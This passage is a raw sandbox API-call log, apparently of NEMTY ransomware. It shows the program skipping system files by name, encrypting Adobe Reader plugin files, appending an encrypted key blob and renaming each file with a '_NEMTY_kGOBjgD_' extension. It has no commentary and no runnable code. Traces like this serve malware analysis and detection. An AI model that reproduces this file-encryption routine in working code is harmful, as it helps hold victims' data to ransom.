dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.PTB", lpUsedDefaultChar=0x0) returned 11 [0170.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.PTB", lpUsedDefaultChar=0x0) returned 11 [0170.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.PTB", lpUsedDefaultChar=0x0) returned 11 [0170.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.PTB", lpUsedDefaultChar=0x0) returned 11 [0170.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.981] Sleep (dwMilliseconds=0x5) [0170.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19908410, dwHighDateTime=0x1d561e8)) [0170.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19908410, dwHighDateTime=0x1d561e8)) [0170.989] GetLastError () returned 0x0 [0170.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.989] GetLastError () returned 0x0 [0170.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.990] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.990] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.990] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.990] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="e9KggP0Sl8SoIFycMo1uJVOzDkJpzSGO2e5s+fCg5zcGOHU/LOQfKyl+JWu+Tmz6\r\nKHs8G+prZqpfRMiNllLhG4mp79YpESMHWub89x3Nk2oAhqJnkt+piDkq/S8+lgxo\r\njvkbZUdUKB9rUw6mjbo+XDyRxHubcTXUKBzy2y8qwKgCOSxGCBmQ3rt+GwYuY0HO\r\nfBoChlTf3S83yAynDLX+zmAPRSMNySee44jzgXCDnDeQTr9gYexmLo/jhkpumDjC\r\nurU4o24CNhEU1REeo3vzwQc3qqQey0Oi7SA4u1F2OeqIC9jme3ECQaDXlAVaT1jn\r\npxOICcrwGu9O+hLHPBSGvw==\r\n", pcchString=0x653e91c) returned 1 [0170.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.990] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.990] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.990] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.992] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.992] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.992] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.992] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.992] CloseHandle (hObject=0x254) returned 1 [0170.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.993] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ptb._nemty_kgobjgd_")) returned 1 [0170.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.993] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.RUM", cAlternateFileName="")) returned 1 [0170.993] lstrcmpiW (lpString1="nppdf32.RUM", lpString2=".") returned 1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="..") returned 1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="...") returned 1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="windows") returned -1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="$RECYCLE.BIN") returned 1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="rsa") returned -1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="NTDETECT.COM") returned -1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="ntldr") returned -1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="MSDOS.SYS") returned 1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="IO.SYS") returned 1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="boot.ini") returned 1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="boot.ini") returned 1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="ntuser.dat") returned -1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="desktop.ini") returned 1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="CONFIG.SYS") returned 1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="RECYCLER") returned -1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="BOOTSECT.BAK") returned 1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="bootmgr") returned 1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="programdata") returned -1 [0170.994] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="appdata") returned 1 [0170.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUM", lpUsedDefaultChar=0x0) returned 11 [0170.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUM", lpUsedDefaultChar=0x0) returned 11 [0170.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUM", lpUsedDefaultChar=0x0) returned 11 [0170.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUM", lpUsedDefaultChar=0x0) returned 11 [0170.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.995] Sleep (dwMilliseconds=0x5) [0171.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1992e570, dwHighDateTime=0x1d561e8)) [0171.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1992e570, dwHighDateTime=0x1d561e8)) [0171.005] GetLastError () returned 0x0 [0171.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.005] GetLastError () returned 0x0 [0171.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.005] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0171.005] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0171.005] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0171.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0171.005] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="0x4bD477s8px/tBl46rRg9eMrJenqiF7UzL3nGXLv6NQrBBS0iuf31US5Wrcc0ek\r\nLaqazxwIecSBP8k3yEO/rMFcxV5njlGHcFAmJ3xfVOgDjm9oWekbQe1riVwwoKnV\r\nEcg+tjv/phK06x0agcBhBY9kizs7Icpn5/l0doIDbX6vLl7BDY+fm2PjQ5H9uDP5\r\nPb8sdI3fy/UQPtz/H2SfZf6CUu0f5aAFlV7yIOhgamcjm6f5XkKdHjddkAJG6end\r\nBWQ93GJl8xX56gfVU5Cpmdl3pTE9gigQX/q9PJy8vY4d5veTAb6HTTGvU1rAbjx0\r\n0I4WXLaxQdd+8k0AumUlhg==\r\n", pcchString=0x653e91c) returned 1 [0171.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0171.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.006] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.006] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=8192) returned 1 [0171.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0171.006] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.006] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x2000, lpOverlapped=0x0) returned 1 [0171.008] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.008] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x2000, lpOverlapped=0x0) returned 1 [0171.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.008] SetFilePointer (in: hFile=0x254, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0171.008] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0171.009] CloseHandle (hObject=0x254) returned 1 [0171.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0171.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0171.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0171.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.009] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rum._nemty_kgobjgd_")) returned 1 [0171.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0171.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.010] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.RUS", cAlternateFileName="")) returned 1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2=".") returned 1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="..") returned 1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="...") returned 1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="windows") returned -1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="$RECYCLE.BIN") returned 1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="rsa") returned -1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="NTDETECT.COM") returned -1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="ntldr") returned -1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="MSDOS.SYS") returned 1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="IO.SYS") returned 1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="boot.ini") returned 1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="boot.ini") returned 1 [0171.010] lstrcmpiW (lpString1="nppdf32.RUS", 